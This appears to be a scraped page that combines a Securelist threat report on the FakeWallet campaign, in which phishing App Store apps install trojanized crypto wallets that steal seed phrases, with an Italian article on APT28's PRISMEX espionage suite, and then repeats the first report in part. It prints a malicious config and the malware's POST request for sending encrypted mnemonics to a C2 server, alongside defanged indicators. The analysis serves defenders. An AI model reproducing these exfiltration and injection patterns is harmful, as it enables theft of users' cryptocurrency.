In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background>


This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for "Ledger Wallet" (formerly Ledger Live)
App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app
Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

  • MetaMask
  • Ledger
  • Trust Wallet
  • Coinbase
  • TokenPocket
  • imToken
  • Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process
An infected wallet and its corresponding profile used for the installation process

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.
To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

  • The extracted mnemonics are stringed together.
  • This string is encrypted using RSA with the PKCS #1 scheme.
  • The encrypted data is then encoded into Base64.
  • Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

  • Resolve symbols dataInit or processX0Parameter from the malicious library
  • Hand over control to these newly discovered functions
  • Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions
The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module


The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

  • The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
    {
    "url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
    "code": "10001", // special code "login-url": "hxxps://xxx[.]com",
    "login-code": "88761"
    }
  • Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
  • As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
    • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
    • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.


  • Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics
The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

  • MnemonicVerifyScreen, embedded in PortfolioNavigator
  • PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification
Phishing window for seed phrase verification

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

  • verify-wallet-status.json tracks the current status and the timestamp of the last update.
  • verify-wallet-config.json stores the C2 server configuration the malware is currently using.
  • verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function
Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link


During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android
A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims


Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution


According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

  • Some infected apps contained SparkKitty modules alongside the FakeWallet code.
  • The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
  • Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
  • Both campaigns specifically target victims’ cryptocurrency assets.


Conclusion


Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

  • Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
  • Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
  • Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.


Indicators of compromise


Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz


securelist.com/fakewallet-cryp…

#1

The media in this post is not displayed to visitors. To view it, please log in.

PRISMEX: la suite di cyberspionaggio di APT28 che prende di mira Ucraina e alleati NATO con steganografia e cloud C2


@Informatica (Italy e non Italy)
APT28 ha lanciato una nuova campagna di cyberspionaggio contro Ucraina e alleati NATO con PRISMEX, una suite di malware inedita che combina steganografia 'Bit Plane Round Robin', COM


PRISMEX: la suite di cyberspionaggio di APT28 che prende di mira Ucraina e alleati NATO con steganografia e cloud C2


Si parla di:
Toggle


Una suite di malware inedita, battezzata PRISMEX, porta la firma del GRU russo e punta diritto al cuore delle reti militari e governative legate al conflitto in Ucraina. La campagna combina steganografia proprietaria, COM hijacking e abuso di cloud storage cifrato per raggiungere i propri obiettivi restando praticamente invisibile agli strumenti di difesa tradizionali.

APT28 nel 2026: evoluzione di una minaccia permanente


APT28 — tracciato anche come Forest Blizzard, Fancy Bear e Pawn Storm — è l’unità cyber attribuita al GRU, l’intelligence militare russa. Operativo da oltre vent’anni, il gruppo ha all’attivo compromissioni di altissimo profilo: dal Partito Democratico USA nel 2016 al WADA, passando per decine di istituzioni europee e governi NATO. Ciò che distingue APT28 è la capacità di weaponizzare vulnerabilità ancora prima della loro divulgazione pubblica e di costruire toolchain modulari estremamente evasive.

La campagna documentata tra febbraio e aprile 2026 da Trend Micro, Zscaler ThreatLabz e Trellix — denominata Operation Neusploit — rappresenta un ulteriore salto qualitativo in questa direzione. L’analisi delle infrastrutture mostra che i preparativi erano in corso da settembre 2025, con exploitation attiva dal gennaio 2026.

I bersagli: una mappa geopolitica della catena logistica NATO


La selezione dei target riflette la precisa intelligence operativa del GRU. La campagna ha colpito organi esecutivi centrali ucraini, servizi di difesa, protezione civile e servizi idrometeorologici; operatori ferroviari polacchi coinvolti nella logistica degli aiuti militari; settore marittimo e trasportistico in Romania, Slovenia e Turchia; partner della filiera di approvvigionamento di munizioni in Slovacchia e Repubblica Ceca; unità droni nelle regioni di Kyiv e Kharkiv. Il denominatore comune è la catena di supporto alle operazioni militari ucraine — la stessa che il Cremlino ha interesse a monitorare e potenzialmente compromettere.

La catena di attacco: due zero-day, un RTF e un server WebDAV


Il vettore iniziale è uno spear-phishing particolarmente contestualizzato: email con lure tematici su addestramenti militari, allerte meteorologiche o contrabbando di armi — argomenti credibili per i destinatari designati. L’allegato è un documento RTF che sfrutta CVE-2026-21509, una vulnerabilità di bypass delle funzionalità di sicurezza di Microsoft Office.

All’apertura, il sistema vittima viene forzato a connettersi a un server WebDAV controllato dagli attaccanti, da cui viene recuperato automaticamente un file LNK malevolo. Questo sfrutta CVE-2026-21513 per bypassare le protezioni del browser ed eseguire silenziosamente il payload successivo. La tempistica è rivelatrice: l’infrastruttura per CVE-2026-21509 era operativa il 12 gennaio 2026, due settimane prima della divulgazione pubblica del 26 gennaio. La patch per CVE-2026-21513 è arrivata il 10 febbraio, lasciando una finestra di undici giorni da zero-day sfruttabile.

Anatomia di PRISMEX: quattro componenti, un ecosistema invisibile


PRISMEX non è un singolo malware ma una suite modulare di quattro componenti progettate per operare in concerto, ciascuna con un ruolo preciso:

  • PrismexSheet: dropper Excel con macro VBA che estrae payload nascosti nel file tramite steganografia. Mostra un documento decoy convincente (inventari droni, listini prezzi militari) per non destare sospetti e stabilisce persistenza via COM hijacking.
  • PrismexDrop: dropper nativo che prepara l’ambiente per lo sfruttamento successivo utilizzando scheduled task e COM DLL hijacking abbinati al riavvio di explorer.exe per la persistenza tra i riavvii.
  • PrismexLoader: proxy DLL che esegue codice malevolo mascherandosi da libreria legittima. Impiega la tecnica steganografica proprietaria “Bit Plane Round Robin” per estrarre payload nascosti all’interno di immagini apparentemente normali, con esecuzione interamente in memoria per minimizzare le tracce su disco.
  • PrismexStager: implant .NET basato sul framework Covenant, fortemente offuscato con nomi di funzione randomizzati. Comunica con i server C2 abusando di Filen.io, un servizio di cloud storage cifrato legittimo, rendendo il traffico malevolo indistinguibile da normali operazioni cloud.

In alcuni scenari di attacco è stato rilevato anche il deployment di MiniDoor, uno stealer specificamente progettato per l’esfiltrazione di email da Microsoft Outlook — un indicatore diretto del tipo di intelligence ricercata.

Living-off-the-Cloud: Filen.io come infrastruttura C2


L’abuso di Filen.io come canale C2 rappresenta una raffinata applicazione del paradigma Living-off-the-Cloud (LotC). Filen.io offre storage cifrato end-to-end, rendendo l’ispezione del contenuto del traffico particolarmente difficile anche per soluzioni avanzate di network detection. I sistemi di filtraggio basati su reputazione IP o domain non rilevano anomalie poiché il dominio è genuinamente legittimo e ampiamente utilizzato. Questa strategia, già osservata con OneDrive, Google Drive e Dropbox in campagne APT precedenti, viene qui applicata con un servizio meno noto e con cifratura robusta — un ostacolo aggiuntivo per i Blue Team.

Indicatori di compromissione (IOC)

# Domini usati per hosting/delivery degli exploit Office
wellnessmedcare[.]org
wellnesscaremed[.]com
freefoodaid[.]com
longsauce[.]com

# CVE sfruttate nella campagna
CVE-2026-21509 - Microsoft Office Security Feature Bypass
  Divulgazione pubblica: 26 gennaio 2026
  Infrastruttura attaccante attiva dal: 12 gennaio 2026

CVE-2026-21513 - Browser Security Feature Bypass
  Prime sample osservate: 30 gennaio 2026
  Patch Microsoft: 10 febbraio 2026 (finestra 0-day: 11 giorni)

# C2 infrastructure
Filen.io (cloud storage legittimo abusato per C2 cifrato)

# Framework C2 utilizzato
Covenant (Grunt implant) tramite PrismexStager

# Tecniche MITRE ATT&CK
T1566.001 - Spearphishing Attachment
T1221   - Template Injection (RTF)
T1574.001 - COM DLL Hijacking (PrismexDrop, PrismexSheet)
T1027.003 - Steganography: Bit Plane Round Robin (PrismexLoader)
T1053.005 - Scheduled Task/Job: Scheduled Task
T1102.002 - Web Service: Bidirectional Communication (Filen.io C2)
T1218.011 - Signed Binary Proxy Execution (Rundll32)

Consigli pratici per i difensori


La campagna PRISMEX evidenzia quanto i modelli di difesa basati su firme statiche e reputazione siano inadeguati contro attori di questo livello. Per i team di sicurezza che operano in settori ad alto rischio è essenziale: applicare immediatamente le patch CVE-2026-21509 e CVE-2026-21513 se non già fatto; monitorare comportamenti anomali di processi legittimi come explorer.exe, regsvr32 e processi COM; implementare regole di detection per COM hijacking e creazione non autorizzata di scheduled task; bloccare o monitorare il traffico verso servizi di cloud storage non approvati aziendalmente (incluso Filen.io); disabilitare le macro VBA nei documenti Office provenienti da fonti esterne tramite Group Policy o Intune; adottare una postura “assume breach” con hunting proattivo su anomalie comportamentali piuttosto che su indicatori statici.


FakeWallet crypto stealer spreading through iOS apps in the App Store


The media in this post is not displayed to visitors. To view it, please log in.

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background


This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for "Ledger Wallet" (formerly Ledger Live)
App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app
Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

  • MetaMask
  • Ledger
  • Trust Wallet
  • Coinbase
  • TokenPocket
  • imToken
  • Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process
An infected wallet and its corresponding profile used for the installation process

Malicious modules for hot wallets


The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

  • The extracted mnemonics are stringed together.
  • This string is encrypted using RSA with the PKCS #1 scheme.
  • The encrypted data is then encoded into Base64.
  • Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

  • Resolve symbols dataInit or processX0Parameter from the malicious library
  • Hand over control to these newly discovered functions
  • Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions
The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module


The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

  • The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
    {
    "url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
    "code": "10001", // special code "login-url": "hxxps://xxx[.]com",
    "login-code": "88761"
    }
  • Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
  • As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
    • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
    • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.


  • Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics
The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

  • MnemonicVerifyScreen, embedded in PortfolioNavigator
  • PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification
Phishing window for seed phrase verification

